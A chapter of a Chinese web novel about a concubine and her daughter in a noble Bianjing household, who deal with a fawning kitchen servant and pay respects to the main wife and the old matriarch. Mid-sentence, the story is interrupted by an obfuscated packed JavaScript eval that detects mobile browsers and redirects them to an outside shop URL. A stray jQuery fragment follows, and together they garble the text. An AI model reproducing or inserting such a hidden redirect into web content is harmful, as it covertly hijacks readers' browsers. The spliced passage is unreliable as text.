文趣网 > 其他小说 > 汴京侯府市井生活 > 7. 请安
    郑兰心关门的动作一顿,抬眼看见洪婆子满脸堆笑地小跑过来,脚底下的雪被踩得咯吱作响。

    洪婆子跑到跟前,气都没喘匀就忙着开口:“郑小娘,方才厨房里忙得脚不沾地,也没顾上跟您好好说话。这不,今儿大厨房多做了些吃食,便想着给梨香院多添个肉菜,还有这糖糕,刚出锅的,热气还没散透呢,您拿回去尝尝。”

    郑兰心疑惑看她一眼,洪婆子立即笑着把食盒往郑兰心手里递。

    “郑小娘别跟老奴见外,老奴在厨房这些年,说句厚脸皮的话,整个府里老奴最敬重的就是您。为人宽厚不说,待下人又和气,老奴平日里嘴上没把门,说话不中听,可那都是无心之失,郑小娘千万别往心里去。”

    郑兰心顿时明白,洪婆子方才定是看见了妙云,知道大娘子派了人来,又听见她说明日去请安,这才怕了。

    担心她在人前提起大厨房这些婆子丫鬟怠慢梨香院,怕她告状。

    “洪妈妈有心了,厨房的吃食都有定例,多了少了都要记账,还是拿回去吧,省得回头对不上账,吴妈妈怪罪下来。”

    洪婆子笑容活泛,“哎哟,郑小娘这话就见外了,都是自己人,哪能计较这些,再说了,姝姐儿正长身子呢,多吃些肉好,您看这酱肘子,皮烂肉酥……”

    她说着掀开食盒盖子,一股酱香气涌了出来。

    郑兰心看都没看那肘子,只道:“洪妈妈,你有什么话,直说便是。”

    洪婆子讪讪,“郑小娘,我这人嘴笨,以前要是有什么得罪的地方,您大人大量,当个屁放了就成。”

    “咱们都是在大娘子手底下讨生活的,往后有什么事,您只管开口,我洪婆子保管头一个来帮衬。”

    郑兰心看着洪婆子那张堆满笑的脸,心里跟明镜似的。

    她曾经好歹是大娘子身边的近身丫鬟,什么人什么心思,她一眼就看得穿。

    洪婆子这种人,今日能来巴结,明日就能在背后捅刀子,全看风往哪边吹。

    不过,话都说到这份上了,白给的吃食,不要白不要。

    郑兰心伸手接过食盒,“洪妈妈有心了,这冰天雪地的,还特意跑一趟。”

    洪婆子见她接了东西,心头那块大石头顿时落了一半,脸上的笑意浓了几分,连声道,

    “应该的应该的!郑小娘不嫌弃就好,这酱肘子可是我特意挑的,肥瘦相间,保管好吃!”

    郑兰心将食盒盖好,“洪妈妈费心了。”

    洪婆子见她态度还是这么不冷不热,心里又有些打鼓,试探着问道:“郑小娘,您明日去大娘子院里请安,可要提前备些点心?老奴在厨房这些年,大娘子爱吃什么、忌讳什么,都门儿清,您要是用得着,只管吩咐一声,我连夜给您备出来。”

    郑兰心看她一眼,“点心送礼这些,自己亲手做的才显诚意,让大厨房做,自己再拿去送,这像什么话。”

    洪婆子被这不软不硬的一句话噎住,讪讪地笑:“是是是,郑小娘说的是,是老奴多嘴了。”

    她嘴上应着,心中更为慌乱。

    郑兰心这话说得滴水不漏,让人根本摸不透她的心思。

    洪婆子想再试探两句,又怕说多了惹人烦。

    郑兰心见她不走,也不催,正准备进门。

    洪婆子到底沉不住气,又挤出个笑脸来:“郑小娘,老奴知道您不是那等记仇的人,往后在厨房里,您和姝姐儿的份例,老奴替您盯着,保准一样不少,样样都是最好的。”

    郑兰心听到这,嘴角微微弯了弯,“那便多谢洪妈妈了。”

    郑兰心关上门,回了屋。

    元姝从里屋探出头来:“娘,方才是谁来了?”

    “厨房的洪婆子,来送了个酱肘子。”

    元姝疑惑,洪婆子她是知道的。

    有一回她跟着郑兰心去大厨房取饭,洪婆子全程没个好脸色,从那以后,郑兰心就不让她跟着去大厨房了。

    元姝疑惑,“她怎么突然给咱们送吃食来了?”

    郑兰心打开食盒一瞧,这酱肘子色泽红润,恰到火候,成色极好。

    不得不说,那群婆子虽然都是见风使舵的人,但能在大厨房站稳脚跟,手艺确实不差。

    “因为怕我去前头告她的状。”

    元姝眨了眨眼:“那娘会告吗?”

    郑兰心笑了笑,将女儿揽在怀里,“还是那句话,在这偌大的府里,多说一句少说一句的,又不会少块肉,洪婆子她们嘴上不饶人,但也不敢把事做绝。”

    “大娘子执掌中聩,府里上上下下几百口人的吃穿用度都要她操心,我去她跟前哭诉几个婆子克扣了半碟菜,她能有几分心思替咱们撑腰?”

    她们住在偏院,大娘子也就睁一只眼闭一只眼,若咱巴巴儿地跑去告状,反倒显得不懂事,往后连这点浅薄的体面都没了。

    如今现在正合郑兰心的心意,下人们不敢为难她,她也不用常去前头露面,相安无事。

    明日去与大娘子请安,还是继续做个鹌鹑为好。

    元姝看着郑兰心,心想她活得真通透,伸手抱住她的胳膊,蹭了蹭:“娘,咱们把日子过好,气死她们。”

    郑兰心一愣,随即笑出了声,“哪儿学来的浑话。”

    元姝仰起脸,理直气壮地说:“不是浑话,谁欺负咱们,咱们就把日子过得比她们都好,让她们干瞪眼。”

    郑兰心心里原本有些烦躁,被女儿这么一蹭一笑,倒消散了大半。

    “说得对,把日子过好比什么都强。”

    第二日一早,郑兰心便把元姝从被窝里捞了起来。

    元姝揉着眼睛,迷迷糊糊地任郑兰心给她套上一件半新的藕荷色褙子。

    又拿梳子沾了桂花油,给她绾了两个圆溜溜的小鬏,绑上两根红绳。

    母女俩收拾妥当便往正院去了。

    雪后的崔府别有一番景致,廊下的料丝灯还没撤,灯穗上挂了细细的冰凌,被晨光一照,亮晶晶的。

    跨进大房正院,迎面便是一座粉墙黛瓦的照壁,绕过照壁,便是一方院子,比梨香院大了好几倍不止,青石地砖铺得整整齐齐。

    院子里种了两株老梅,此时正值花期,红梅在雪中开得正盛,枝头积雪压得弯弯的,衬着红艳艳的花瓣,煞是好看。

    妙云正在廊下吩咐小丫头扫雪,瞧见她们母女来了,笑着迎上来:“郑小娘来得早,大娘子刚用完早膳,在里头看账呢,我去通传一声。”

    她进去不多时便出来,打起帘子,将母女俩让进了暖阁。

    大娘子正坐在罗汉榻上,面前的小几上摊着好几本账簿。

    她穿着一件石青色褙子,发髻上只簪了一支白玉簪,素净却柔雅。

    郑兰心上前两步,规规矩矩地福了一福:“妾身给大娘子请安。”

    元姝跟着行礼,“给母亲请安。”

    大娘子微微颔首,目光在元姝身上多停留了片刻。

    这孩子身量抽条了不少,去年见的时候还只到她腰际,如今已经快到胳膊了。

    “起来吧,坐。”大娘子合上面前的账簿,语气缓和,“姝姐儿又长高了不少,上回见你,还是个这么大点的小丫头。”

    郑兰心伸手理了理元姝的衣领,笑着接道:“劳大娘子记挂,这孩子今年蹿得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720821|208636||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    快,去岁这袄子还长出一截,今年就刚好了。”

    “到了抽条的年纪,长得快,”大娘子笑了笑,端起茶盏抿了一口,“昨儿让妙云送去的料子可还合用?”

    郑兰心答道:“合用,多谢大娘子惦记,那匹杏红细布鲜亮得很,正想给姝姐儿做件新褙子过年穿。”

    “嗯,”大娘子放下茶盏,语气平和,“说到底你和姝姐儿都是大房的人,这些年是我疏忽了。昨儿老太太在宴上提了一嘴,连老太太都惦记着,我这个做大娘子的再不上心,倒显得是我刻薄了。”

    郑兰心顺着话头道:“哪里的事,老太太慈爱,大娘子也宽厚,妾身和姝姐儿都记在心里。”

    这话说得好听,里头的弯弯绕绕元姝能够体会出来。

    老太太精明了得,大娘子不敢再装聋作哑,这才赶着派人送料子,将姿态做足了,好让大家伙知道,她并没有苛待下面的小娘。

    果然,还没聊几句,大娘子便站起身道:“今日既来了,便随我一道去老太太那儿坐坐吧。”

    崔老太太喜静,这是全府上下都知道的规矩。

    晨昏定省那一套虚礼她不耐烦应付,便定了规矩,只有每月初一十五才让各房女眷去寿安堂请安,平日里没什么大事,不许去劳烦她。

    各房的小娘们本也该日日去给各自的嫡母请安侍奉的,但大娘子被柳小娘闹得心烦,大房便也免了这规矩。

    郑兰心顺带着也不必每日往正院跑了,只在初一十五跟着大伙一道去老太太跟前露个脸。

    今日既不是初一也不是十五,老太太院子里本该清清静静的。

    可她们走到寿安堂门口时,廊下却站着两个面生的丫鬟。

    大娘子脚步一顿,问门口的小丫头:“老太太里头有客?”

    小丫头福了福身:“回大娘子,是越州杜家的媳妇和公子来了,正陪老太太说话呢。”

    大娘子略一沉吟,还是让妙云进去通传。

    不多时老太太屋里伺候的丫鬟迎了出来,“大娘子来了,老太太请您进去。”

    ***

    寿安堂的正厅比大娘子院里更宽敞,陈设却极素净。

    紫檀木的家具,青砖铺地,墙角供着一尊白玉观音,香炉里燃着檀香,青烟袅袅地升上去,散在暖融融的空气里。

    崔老太太坐在正中的软榻上,腿上搭着一件猞猁皮褥子。

    下首坐着两个人,一个四十来岁的妇人,穿一身枣红褙子,头上插着赤金花簪,笑得一团和气。

    另一个是二十出头的年轻人,白净面皮,眉眼间倒有几分斯文气,只是坐在那里时脊背挺得太直,显得有些僵硬。

    正是杜家媳妇和杜承风。

    小几上摆满了各色点心和越州特产,有桂花糕、豆沙酥、蜜饯金桔,还有几碟叫不上名字的越州本地小食,用精致的漆盒装着,码得整齐。

    这些东西显然是杜家媳妇带来的,单看那漆盒的精致程度,就知道是花了心思的。

    杜家媳妇满脸是笑,手里捧着一碟桂花糕,亲亲热热地往崔老太太跟前递,

    “姑母您尝尝这个,这是侄媳亲手做的,用的是越州老家院子里那棵老桂花树上的桂花。婆母说了,您还是姑娘时,每年秋天都要做桂花糕,还总嫌旁人做的没有桂花香。”

    她一边说一边笑,语气里满是亲昵,“侄媳这次来,特特请教了家中几个老嬷嬷,把您年轻时爱吃的几样都做了一遍。”

    “您瞧,这豆沙酥也是按着当年您改良的方子做的,酥皮少放了一层油,做出来反倒更香酥,跟外头卖的完全不一样,这些事儿,家里老太太时常念叨呢。”